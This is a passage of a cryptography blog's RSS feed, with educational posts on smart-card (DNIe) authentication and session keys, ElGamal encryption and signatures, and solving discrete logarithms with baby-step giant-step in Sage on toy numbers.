<p>The next step in the protocol is to authenticate the IFD itself. So far the card has proved it's validity, but the IFD has not. This is the purpose of the <em>EXTERNAL AUTHENTICATE</em> command. Similarly to the previous command, now the IFD sends a 32 byte random value which will be used for session key generation.</p>
<p>However, to assure the freshness of this command, the IFD has to request a challenge from the card and include it in the signature. So, the commands that follow now are a <em>GET CHALLENGE</em> command and an <em>EXTERNAL AUTHENTICATE</em> command:</p>
<p><code><br />
&gt; 00 84 00 00 08<br />
&lt; &lt; 8 byte challenge &gt; 90 00<br />
&gt; 00 82 00 00 80 &lt; encrypted digital signature &gt;<br />
&lt; 90 00<br />
</code></p>
<p>And now we're done. Before sending this 90 00 response, the card has verified the digital signature from the external authenticate command and compared the nonce with the one it replied to the last get challenge command.</p>
<p>In addition, they share two 32 byte random values, one generated by each end. These two values are only known to them, since they have been encrypted with the other end's public key, and have also been authenticated using digital signatures.</p>
<p><strong>Session key generation</strong></p>
<p>After the process described above, the two ends share some secret values and are able to generate shared session keys for subsequent operations.</p>
<p>What they do in this case, is XORing the two 32 byte values ( <img src='http://s.wordpress.com/latex.php?latex=K_%7BIFD%7D%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='K_{IFD} ' title='K_{IFD} ' class='latex' /> and <img src='http://s.wordpress.com/latex.php?latex=K_%7BICC%7D%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='K_{ICC} ' title='K_{ICC} ' class='latex' /> respectively) to generate a shared value which is influenced in the same way by both parties. This ensures that no party has complete control over the key (and actually, as long as one of them is random, the result is also random).</p>
<p>Now, this value is concatenated with a constant (1) and hashed with the <em>SHA-1</em> algorithm to produce what the specifications name <em>HASH1</em>. The same thing is done with a second constant (2) to produce <em>HASH2</em>.</p>
<p>The initial 16 bytes of each of this hashes is used as a 3DES key for the subsequent <em>secure messaging</em> commands. The first one is used as an encryption key and the second one is used as an authentication key (using MACs).</p>
<p><strong>Future posts</strong></p>
<p>This is it for this article. In the future, I want to try to reproduce this steps on my own using some scripting language and try to request a digital signature from my card.</p>
<p>Therefore, you can expect explanations on how <em>secure messaging</em> works and how a digital signature is requested to the card. This includes how to perform a <em>card holder verification</em> using the PIN code.</p>
<p>Hope you are enjoying it. Feedback is more than welcome!</p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/dnie-device-auth" type="text/javascript" charset="utf-8"></script></div><img src="http://feeds.feedburner.com/~r/LimitedEntropyDotCom/~4/Dg82ohyR-k4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/dnie-device-auth/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		<feedburner:origLink>http://www.limited-entropy.com/dnie-device-auth</feedburner:origLink></item>
		<item>
		<title>Crypto Series – ElGamal Cryptosystem</title>
		<link>http://feedproxy.google.com/~r/LimitedEntropyDotCom/~3/RWNuxNQPDgs/elgamal</link>
		<comments>http://www.limited-entropy.com/elgamal#comments</comments>
		<pubDate>Fri, 12 Feb 2010 17:25:16 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Crypto Series]]></category>
		<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[ElGamal]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=545</guid>
		<description><![CDATA[In our last post we learnt about the Discrete Lograithm problem, why it is a difficult problem and how we can attempt to solve it if the numbers are manageable. Of course, in a real setting we wouldn't use 16 bit numbers as in my example, but at least 1024 bit numbers nowadays (and most [...]]]></description>
			<content:encoded><![CDATA[<p>In our last post we learnt about the <a href="http://www.limited-entropy.com/discrete-log">Discrete Lograithm</a> problem, why it is a difficult problem and how we can attempt to solve it if the numbers are manageable. Of course, in a real setting we wouldn't use 16 bit numbers as in my example, but at least 1024 bit numbers nowadays (and most likely even bigger numbers).</p>
<p>Now, we are going to see how to make  use of that problem to create a public key cryptosystem. We will look at how ElGamal uses the DL problem to provide public key encryption and digital signatures. Keep on reading if you are interested!</p>
<p><span id="more-545"></span><strong>ElGamal encryption</strong></p>
<p>So we have our friends Alice and Bob wanting to communicate securely. To that end, they first agree on the public settings of the ElGamal cryptosystem. They need a finite cyclic group <em>G</em> to work on (such as <img src='http://s.wordpress.com/latex.php?latex=%5Cmathbb%7BZ%7D%2A_p%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='\mathbb{Z}*_p ' title='\mathbb{Z}*_p ' class='latex' /> ) and a generator for that group, <em>g</em>. Of course, the group <em>G</em> must be a group where computing discrete logarithms is infeasible. Otherwise the system will not work.</p>
<p>With these numbers, Alice and Bob first generate their respective key pairs. First, they generate a random element in G, which will serve as a private key: <img src='http://s.wordpress.com/latex.php?latex=x_A%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='x_A ' title='x_A ' class='latex' /> and <img src='http://s.wordpress.com/latex.php?latex=x_B&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='x_B' title='x_B' class='latex' /> respectively. Now, they compute the corresponding secret keys as follows:</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=h_A%20%3D%20g%5E%7Bx_A%7D%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='h_A = g^{x_A} ' title='h_A = g^{x_A} ' class='latex' /> in <em>G</em></p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=h_B%20%3D%20g%5E%7Bx_B%7D%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='h_B = g^{x_B} ' title='h_B = g^{x_B} ' class='latex' /> in <em>G</em></p>
<p style="text-align: left;">And now they can publish their public keys, <img src='http://s.wordpress.com/latex.php?latex=h_i%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='h_i ' title='h_i ' class='latex' />, without any fear. Thanks to the difficulty of solving the discrete logarithm in <em>G</em>, their respective private keys remain safe even though everyone knows how they were generated.</p>
<p style="text-align: left;">So, now our friend Alice wants to send some message <em>m</em> to Bob. This message is represented as an element in the group <em>G.</em> First, she grabs Bob's public key. Then, she generates a random number <em>r</em> in the same group <em>G</em>. With that number and Bob's public key, she computes the following cryptogram:</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=%28R%2CS%29%20%3D%20%28g%5Er%2C%20h_B%5Er%20%5Ccdot%20m%20%29%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='(R,S) = (g^r, h_B^r \cdot m ) ' title='(R,S) = (g^r, h_B^r \cdot m ) ' class='latex' /></p>
<p style="text-align: left;">It is needless to say that these operations always take place in the group <em>G</em>. Now, when Bob receives this message he can compute <em>m </em>like this:</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=m%20%3D%20%5Cfrac%7BS%7D%7BR%5E%7Bx_B%7D%7D%20%3D%20%5Cfrac%7Bh_B%5Er%20%5Ccdot%20m%7D%7B%28g%5Er%29%5E%7Bx_B%7D%7D%20%3D%20%5Cfrac%7Bh_B%5Er%20%5Ccdot%20m%7D%7B%20%28g%5E%7Bx_B%7D%29%5Er%7D%20%3D%20%5Cfrac%7Bh_B%5Er%20%5Ccdot%20m%7D%7Bh_B%5Er%7D%20%3D%20m&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='m = \frac{S}{R^{x_B}} = \frac{h_B^r \cdot m}{(g^r)^{x_B}} = \frac{h_B^r \cdot m}{ (g^{x_B})^r} = \frac{h_B^r \cdot m}{h_B^r} = m' title='m = \frac{S}{R^{x_B}} = \frac{h_B^r \cdot m}{(g^r)^{x_B}} = \frac{h_B^r \cdot m}{ (g^{x_B})^r} = \frac{h_B^r \cdot m}{h_B^r} = m' class='latex' /></p>
<p style="text-align: left;">This is good news, at least Bob can recover the message knowing <img src='http://s.wordpress.com/latex.php?latex=x_B%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='x_B ' title='x_B ' class='latex' />. But that doesn't mean that the message will be safe from everyone else.</p>
<p style="text-align: left;">However, since the DL problem is difficult, it turns out that recovering <em>r</em> from <em>R</em> is difficult. Therefore, it is not easy to compute <img src='http://s.wordpress.com/latex.php?latex=h_B%5Er%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='h_B^r ' title='h_B^r ' class='latex' /> from the cryptogram and then recover <em>m</em>. It is also difficult to compute Bob's private key from his public key, which would be another way to recover the message.</p>
<p style="text-align: left;">And also, since <em>r</em> was random, <em>R</em> is randomized as well as <em>S</em>. Thus, an attacker has no information on the structure of the message and the system seems secure under the assumption that the DL problem is hard.</p>
<p style="text-align: left;"><strong>Example: ElGamal encryption</strong></p>
<p style="text-align: left;">Let's continue with our previous example. We take again the same group, <img src='http://s.wordpress.com/latex.php?latex=Z%5E%2A_%7B17627%7D%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='Z^*_{17627} ' title='Z^*_{17627} ' class='latex' /> and its generator <img src='http://s.wordpress.com/latex.php?latex=g%3D6%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='g=6 ' title='g=6 ' class='latex' />. Alice and Bob compute their respective private and public keys:</p>
<p style="text-align: left;"><code>sage: G = IntegerModRing(17627)<br />
sage: g = G(6)<br />
sage: g.multiplicative_order()<br />
17626<br />
sage: xA = G.random_element()<br />
sage: xB = G.random_element()<br />
sage: hA = g^xA<br />
sage: hB = g^xB<br />
sage: hA<br />
11094<br />
sage: hB<br />
1593<br />
sage:</code></p>
<p style="text-align: left;">So now everyone knows the public keys of Alice (11094) and Bob (1593). Now let's imagine that Alice wants to send the message m (1337) to Bob. She has to create a new random number and compute the cryptogram:</p>
<p style="text-align: left;"><code>sage: r=G.random_element()<br />
sage: R = g^r<br />
sage: m=1337<br />
sage: S=hB^r*m<br />
sage: (R,S)<br />
(4831, 8533)<br />
sage:</code></p>
<p style="text-align: left;">Alright, now Alice sends this pair of numbers to Bob and he receives it and tries to decrypt them:</p>
<p style="text-align: left;"><code>sage: mp = S/(R^xB)<br />
sage: mp<br />
1337<br />
sage:</code></p>
<p style="text-align: left;">Great, it works! However, note that this is not secure against chosen ciphertext attacks and the cryptogram is easily modifiable. For instance, one could modify the decrypted message by modifying only the <em>S</em> part of the cryptogram:</p>
<p style="text-align: left;"><code>sage: Sp = 3*S<br />
sage: mp = Sp/(R^xB)<br />
sage: mp<br />
4011<br />
sage: 3*m<br />
4011<br />
sage:</code></p>
<p style="text-align: left;">Here an attacker has intercepted the message and modified <em>S</em> to be <em>3S</em>. This results in the decrypted message being <em>3m</em> instead of <em>m</em>. However, this kind of properties becomes very useful in multiparty computations such as electronic voting schemes.</p>
<p style="text-align: left;"><strong>ElGamal signature scheme</strong></p>
<p style="text-align: left;">Now we know how to encrypt and decrypt messages using ElGamal. Next step is to see how ElGamal approaches digital signatures. The steps for generating the key pair are the same, i.e. each participant generates a random number as their private key and then computes <img src='http://s.wordpress.com/latex.php?latex=h%3Dg%5Ex%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='h=g^x ' title='h=g^x ' class='latex' /> as their public key.</p>
<p style="text-align: left;">Now, given a message <em>m</em>, Alice will first generate a cryptographic hash H(m). Then, she picks again a random number <em>r</em> and computes the following things:</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=R%3Dg%5Er%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='R=g^r ' title='R=g^r ' class='latex' /></p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=S%20%3D%20%28H%28m%29-x_A%5Ccdot%20R%29%5Ccdot%20r%5E%7B-1%7D%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='S = (H(m)-x_A\cdot R)\cdot r^{-1} ' title='S = (H(m)-x_A\cdot R)\cdot r^{-1} ' class='latex' /></p>
<p style="text-align: left;">Note that now we used the private key for the generation of the signature. Otherwise, we would not be able to prove that the message is linked to Alice since everyone knows the public key. If <em>S</em> turns out to be <em>0</em>, Alice has to pick a new random number and compute the signature again.</p>
<p style="text-align: left;">The verification of the signature is performed by Bob as follows. Bob first computes the message H(m) and then performs the following two calculations:</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=g%5E%7BH%28m%29%7D%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='g^{H(m)} ' title='g^{H(m)} ' class='latex' /></p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=h_A%5ER%20%5Ccdot%20R%5ES%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='h_A^R \cdot R^S ' title='h_A^R \cdot R^S ' class='latex' /></p>
<p style="text-align: left;">Due to the way in which the values R and S have been computed, the two results should be the same if the signature and the message have not been modified:</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=h_A%5ER%20%5Ccdot%20R%5ES%20%3D%20%28g%5Ex_A%29%5ER%20%5Ccdot%20g%5E%7Br%5Ccdot%20%28H%28m%29-x_A%5Ccdot%20R%29%5Ccdot%20r%5E%7B-1%7D%7D%3D%20g%5E%7B%20x_A%20%5Ccdot%20R%20%2B%20H%28m%29%20-%20x_A%20%5Ccdot%20R%7D%20%3D%20g%5E%7BH%28m%29%7D%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='h_A^R \cdot R^S = (g^x_A)^R \cdot g^{r\cdot (H(m)-x_A\cdot R)\cdot r^{-1}}= g^{ x_A \cdot R + H(m) - x_A \cdot R} = g^{H(m)} ' title='h_A^R \cdot R^S = (g^x_A)^R \cdot g^{r\cdot (H(m)-x_A\cdot R)\cdot r^{-1}}= g^{ x_A \cdot R + H(m) - x_A \cdot R} = g^{H(m)} ' class='latex' /></p>
<p style="text-align: left;">So this tells us that the system is correct, and again in order to forge a signature one would need to either find collisions in the function H (see my post on<a href="http://www.limited-entropy.com/crypto-series-hash-functions-sha2"> hash functions</a>) or solve a discrete logarithm. Both problems are believed to be hard. Note that the hash collision must occur over the group <em>G</em>, so that <img src='http://s.wordpress.com/latex.php?latex=g%5E%7BH%28m%27%29%7D%20%5Cequiv%20g%5E%7BH%28m%29%7D%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='g^{H(m&#039;)} \equiv g^{H(m)} ' title='g^{H(m&#039;)} \equiv g^{H(m)} ' class='latex' />.</p>
<p style="text-align: left;"><strong>Further reading</strong></p>
<p style="text-align: left;">Once again, I refer the interested readers to the <a href="http://www.cacr.math.uwaterloo.ca/hac/">Handbook of Applied Cryptography</a> for more extensive and accurate information on these topics. In this case, the ElGamal public key system is described in chapter 8, section 8.4.</p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/elgamal" type="text/javascript" charset="utf-8"></script></div><img src="http://feeds.feedburner.com/~r/LimitedEntropyDotCom/~4/RWNuxNQPDgs" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/elgamal/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.limited-entropy.com/elgamal</feedburner:origLink></item>
		<item>
		<title>Crypto Series: Discrete Logarithm</title>
		<link>http://feedproxy.google.com/~r/LimitedEntropyDotCom/~3/GGCDPas732Y/discrete-log</link>
		<comments>http://www.limited-entropy.com/discrete-log#comments</comments>
		<pubDate>Thu, 04 Feb 2010 20:00:02 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Crypto Series]]></category>
		<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Discrete Log]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=476</guid>
		<description><![CDATA[From last post, it becomes clear that at this stage we won't be able to make it without some maths. That's because we are dealing now with public key crypto, which is based on difficult mathematical problems (as in difficult to solve, not as in difficult to understand). With symmetric crypto, we could understand the [...]]]></description>
			<content:encoded><![CDATA[<p>From last post, it becomes clear that at this stage we won't be able to make it without some maths. That's because we are dealing now with public key crypto, which is based on difficult mathematical problems (as in difficult to solve, not as in difficult to understand).</p>
<p>With symmetric crypto, we could understand the concepts of diffusion and confusion without needing to dive into maths. On the other hand, here we will need to understand the problems on which the algorithms rely in order to understand how they work.</p>
<p>In this post, we'll see what's the Discrete Logarithm problem, why it is difficult to solve based on a simple intuition, and finally a method to solve this kind of problems. Of course it's not the only (nor the best) existing method, but in my opinion it is the simplest one to understand.<span id="more-476"></span></p>
<p><img title="More..." src="http://tuxed.serveblog.net/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif" alt="" /><strong>The Discrete Logarithm problem</strong></p>
<p>As I said before, the Discrete Logarithm problem is formulated as follows. Given a cyclic group G with a generator g, x is called a discrete logarithm of h over this group if it satisfies the following condition:</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=h%20%3D%20g%5Ex%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='h = g^x ' title='h = g^x ' class='latex' /> in G</p>
<p>So this is the equivalent to a logarithm, but instead of computing it over the real numbers it is computed over a finite cyclic group. And now, if you don't have any background on discrete maths, coding theory and the like, you are probably asking something on these lines: <em>what the hell does that mean?</em></p>
<p>To keep it simple, a finite cyclic group G with a generator g means that the successive powers of g (i.e <img src='http://s.wordpress.com/latex.php?latex=g%5E0%2Cg%5E1%2Cg%5E2%2Cg%5E3%2C%5Cldots%2Cg%5E%7Bn-1%7D%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='g^0,g^1,g^2,g^3,\ldots,g^{n-1} ' title='g^0,g^1,g^2,g^3,\ldots,g^{n-1} ' class='latex' /> ) will generate the different elements of the group. At some point, after a finite number of elements ( <img src='http://s.wordpress.com/latex.php?latex=g%5En%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='g^n ' title='g^n ' class='latex' /> ) the result will cycle over to the first element (i.e. <img src='http://s.wordpress.com/latex.php?latex=g%5En%20%3D%20g%5E0&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='g^n = g^0' title='g^n = g^0' class='latex' />), and this is what gives the name to the groups <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> . Now, this value, <em>n</em>, is called the <em>order</em> of the group and is obviously also the number of elements of the group, or cardinality.</p>
<p>I won't go any further with the explanation of the properties of cyclic groups and all the group theory behind this. I'll just say that a simple example of finite cyclic groups is that of the integers modulo some prime number <em>p</em>, excluding the zero element. This groups are usually noted as <img src='http://s.wordpress.com/latex.php?latex=%5Cmathbb%7BZ%7D%5E%2A_p%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='\mathbb{Z}^*_p ' title='\mathbb{Z}^*_p ' class='latex' />, where <em>p </em>is our prime number and the group order is <em>p-1</em>.</p>
<p>For instance, say  we look at <img src='http://s.wordpress.com/latex.php?latex=%5Cmathbb%7BZ%7D%5E%2A_7&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='\mathbb{Z}^*_7' title='\mathbb{Z}^*_7' class='latex' />. Then, for this group we get that the group elements are these:</p>
<p style="text-align: center;">1,2,3,4,5,6</p>
<p>Since those are all the integers modulo 7. Now, a generator of this group would be for instance <em>g=3</em>. You can see that in this case the successive powers of 3 modulo 7 are:</p>
<p style="text-align: center;">1,3,2,6,4,5,1</p>
<p style="text-align: left;">And there you have that <img src='http://s.wordpress.com/latex.php?latex=g%5E%7B6%20%5Ccdot%20k%2Bi%7D%20%5Cequiv%20g%5Ei%20%5Cpmod%207%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='g^{6 \cdot k+i} \equiv g^i \pmod 7 ' title='g^{6 \cdot k+i} \equiv g^i \pmod 7 ' class='latex' />. Therefore, this is a cyclic group of order <em>p-1=6</em>.</p>
<p style="text-align: left;"><strong>Difficulty of the DL problem</strong></p>
<p style="text-align: left;">Now, where is the difficulty of the DL problem? We'll just take an intuitive approach to it. When you think of a <em>classical</em> logarithm over the real numbers, it turns out that this is a continuous and monotonous function where <img src='http://s.wordpress.com/latex.php?latex=%5Clog%20x%20%3E%20%5Clog%20y%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='\log x &gt; \log y ' title='\log x &gt; \log y ' class='latex' /> if <img src='http://s.wordpress.com/latex.php?latex=x%20%3E%20y%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='x &gt; y ' title='x &gt; y ' class='latex' />. This means that if you know the logarithm of x, and y is pretty close to it, most likely the logarithm of y will be pretty close to it as well.</p>
<p style="text-align: left;">But when you look at the discrete logarithm, you can see that the behavior of this problem is not as predictable as that of the logarithm function. For instance, in the example above we have that <img src='http://s.wordpress.com/latex.php?latex=g%5E3%20%5Cequiv%206%20%5Cpmod%207&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='g^3 \equiv 6 \pmod 7' title='g^3 \equiv 6 \pmod 7' class='latex' />, but <img src='http://s.wordpress.com/latex.php?latex=g%5E4%20%5Cequiv%204%20%5Cpmod%207%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='g^4 \equiv 4 \pmod 7 ' title='g^4 \equiv 4 \pmod 7 ' class='latex' />. Extrapolating this to big numbers, you can see that it is probably not very easy to go back from a certain power of a prime number to the exponent itself (i.e., computing the DL).</p>
<p style="text-align: left;"><strong>Solving Discrete Logarithms: Baby Step Giant Step</strong></p>
<p style="text-align: left;">All right, now we get to look at an actual method to compute discrete logarithms. The method is called <em>Baby Step Giant Step</em> due to the way  we approach the problem: we create a table of <em>a few</em> powers of our generator: this are our baby steps. Then we take our target problem, and take big steps (of the size of the generated table) downwards until we hit the table. At that point, we know how many steps we took and we can compute the actual logarithm.</p>
<p style="text-align: left;">But of course, all this may sound like bullshit until you see an actual example. Let's take the following problem, which uses intentionally small numbers:</p>
<p style="text-align: left;">Given <img src='http://s.wordpress.com/latex.php?latex=y%20%3D%208938%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='y = 8938 ' title='y = 8938 ' class='latex' />, compute its discrete logarithm in <img src='http://s.wordpress.com/latex.php?latex=%5Cmathbb%7BZ%7D%5E%2A_%7B17627%7D&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='\mathbb{Z}^*_{17627}' title='\mathbb{Z}^*_{17627}' class='latex' />.</p>
<p style="text-align: left;">Ok, let's start then. We compute a table of a given size, let's say 100 elements. I used to do it with Mathematica, but I do not have it right now so I'm using for the first time ever the <a href="http://www.sagemath.org/">Sage</a> open source program. I advise you to install it, because it will also come handy to verify other examples (such as RSA examples) in the future.</p>
<p style="text-align: left;">So we start by instantiating our cyclic group, and getting a generator and our value <em>y</em>:</p>
<p><code>sage: G = IntegerModRing(17627)<br />
sage: g = G(6)<br />
sage: g.multiplicative_order()<br />
17626<br />
sage: y=G(8938)</code></p>
<p>Now, we build our list of 100 powers and plot it:</p>
<p><code><br />
sage: powers = [ g^i for i in range(100) ]<br />
sage: list_plot(powers)<br />
</code></p>
<p>Note that <em>sage</em> directly applies modular exponentiation since <em>g</em> was created as an element of the finite field we are using for this problem. Also, note that the behavior is not really predictable and after a <em>big </em>number it often comes a <em>small</em> number, but of course not always. You can observe this behavior in the plot obtained:</p>
<p><a href="http://www.limited-entropy.com/wp-content/uploads/2010/02/dlog.png"><img class="aligncenter size-medium wp-image-590" title="First 100 powers of g" src="http://www.limited-entropy.com/wp-content/uploads/2010/02/dlog-300x184.png" alt="First 100 powers of g" width="300" height="184" /></a></p>
<p>Ok, let's continue with our search. First, we know that our number, <em>y</em>, is part of the finite field, and therefore we can write it as follows:</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=y%20%5Cequiv%20g%5Ex%20%5Cequiv%20g%5E%7B100%5Ccdot%20j%20%2B%20i%7D%20%5Cpmod%7B17627%7D%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='y \equiv g^x \equiv g^{100\cdot j + i} \pmod{17627} ' title='y \equiv g^x \equiv g^{100\cdot j + i} \pmod{17627} ' class='latex' /></p>
<p>Where of course <em>i </em>is a number below 100. We can further develop this equation and write it the following way:</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=g%5Ex%20%5Ccdot%20g%5E%7B-100%20%5Ccdot%20j%7D%20%5Cequiv%20g%5Ei%20%5Cpmod%7B17627%7D%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='g^x \cdot g^{-100 \cdot j} \equiv g^i \pmod{17627} ' title='g^x \cdot g^{-100 \cdot j} \equiv g^i \pmod{17627} ' class='latex' /></p>
<p style="text-align: left;">And here it comes the magic! If you look at this equation, <img src='http://s.wordpress.com/latex.php?latex=g%5Ei%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='g^i ' title='g^i ' class='latex' /> is actually a member of our table of powers. Further, we can compute <img src='http://s.wordpress.com/latex.php?latex=a%3Dg%5E%7B-100%7D&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='a=g^{-100}' title='a=g^{-100}' class='latex' />, which is easy. Then, we can take <em>y</em> and multiply it by <em>a</em> and check if the result is on the table. In that case, it means that <img src='http://s.wordpress.com/latex.php?latex=x-100%20%5Ccdot%20j%20%3D%20i%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='x-100 \cdot j = i ' title='x-100 \cdot j = i ' class='latex' /> and we can easily compute x!</p>
<p style="text-align: left;">If it was not the case (which is likely), then we will have to multiply again by <em>g</em> as many times as we need until we hit the table. Let's call that number k. At that point, we've found that <img src='http://s.wordpress.com/latex.php?latex=g%5Ex%20%5Ccdot%20g%5E%7B-100%5Ccdot%20k%7D%20%5Cequiv%20g%5Ei%20%5Cpmod%7B17627%7D%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='g^x \cdot g^{-100\cdot k} \equiv g^i \pmod{17627} ' title='g^x \cdot g^{-100\cdot k} \equiv g^i \pmod{17627} ' class='latex' />. Since we know k (it's the number of times we applied our multiplication!) and <em>i</em> (we take it from the table), we can compute <em>x</em>.</p>
<p style="text-align: left;">All this can be translated into the following fragment of sage commands:</p>
<p style="text-align: left;"><code>sage: j=1<br />
sage: while not y*a^j in powers: j += 1<br />
....:<br />
sage: j<br />
79<br />
sage: i = powers.index(y*a^j)<br />
sage: i<br />
70<br />
sage: x=100*j+i<br />
sage: x<br />
7970<br />
sage: g^x == y<br />
True</code></p>
<p style="text-align: left;">So what you see above means that after 79 steps we have found the value at position 70 in the list. Therefore, the discrete logarithm of <em>y</em> in G is <em>x=7970</em>. After that, I compare the <em>x-th</em> power of <em>g</em> with <em>y</em> to be sure that the result is correct, and <em>sage</em> returns a True. If you happen to know a bit of Python, you can notice that it has a pretty similar syntax (but not identical).</p>
<p style="text-align: left;">Of course, <em>sage</em> also provides easier ways to do it. You can just type <em>y.log(g)</em> to solve the problem here:</p>
<p style="text-align: left;"><code>sage: y.log(g)<br />
7970</code></p>
<p style="text-align: left;"><strong>Closing thoughts</strong></p>
<p style="text-align: left;">The method explained above is not the only one nor the most efficient. Also, as usual the explanations here do not attempt to be a 100% accurate description of the problem from a mathematical point of view (I'm not a mathematician after all) but rather to explain crypto topics in a simple way so that most people can understand it.</p>
<p style="text-align: left;">If you want to go further with DL problems, get accurate descriptions of it and understand other methods of solving the problem, you can resort (once again) to the <a href="http://www.cacr.math.uwaterloo.ca/hac/">Handbook of Applied Cryptography</a>. Specially chapters 2 and 3 treat this and related subjects, covering maths background and reference problems.</p>
<p style="text-align: left;">I hope you are enjoying these posts and see you soon!</p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/discrete-log" type="text/javascript" charset="utf-8"></script></div><img src="http://feeds.feedburner.com/~r/LimitedEntropyDotCom/~4/GGCDPas732Y" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/discrete-log/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		<feedburner:origLink>http://www.limited-entropy.com/discrete-log</feedburner:origLink></item>
		<item>
		<title>Welcome to Limited Entropy Dot Com</title>
		<link>http://feedproxy.google.com/~r/LimitedEntropyDotCom/~3/aZAuRzlAWwk/welcome</link>
		<comments>http://www.limited-entropy.com/welcome#comments</comments>
		<pubDate>Thu, 04 Feb 2010 17:49:34 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=560</guid>
		<description><![CDATA[Well, not much to say, this blog is just coming to life now. I've imported everything from my previous blog and posted a note there so that current readers can still follow me. The template used is still a default one, but I asked a friend of mine to apply some small personalization to it [...]]]></description>
			<content:encoded><![CDATA[<p>Well, not much to say, this blog is just coming to life now. I've imported everything from my previous blog and posted a note there so that current readers can still follow me. The template used is still a default one, but I asked a friend of mine to apply some small personalization to it whenever she has time, so it will change a little in the future.</p>
<p>If you are new here, take a look at the <a href="http://www.limited-entropy.com/about">About</a> page to know a little more about the guy writing these lines. I'll continue talking about security, cryptography and all that weird stuff I like starting today. Stay tuned!</p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/welcome" type="text/javascript" charset="utf-8"></script></div><img src="http://feeds.feedburner.com/~r/LimitedEntropyDotCom/~4/aZAuRzlAWwk" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/welcome/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.limited-entropy.com/welcome</feedburner:origLink></item>
		<item>
		<title>Crypto Series: Digital Signatures</title>
		<link>http://feedproxy.google.com/~r/LimitedEntropyDotCom/~3/f3mH20bjbzs/digital-signatures</link>
		<comments>http://www.limited-entropy.com/digital-signatures#comments</comments>
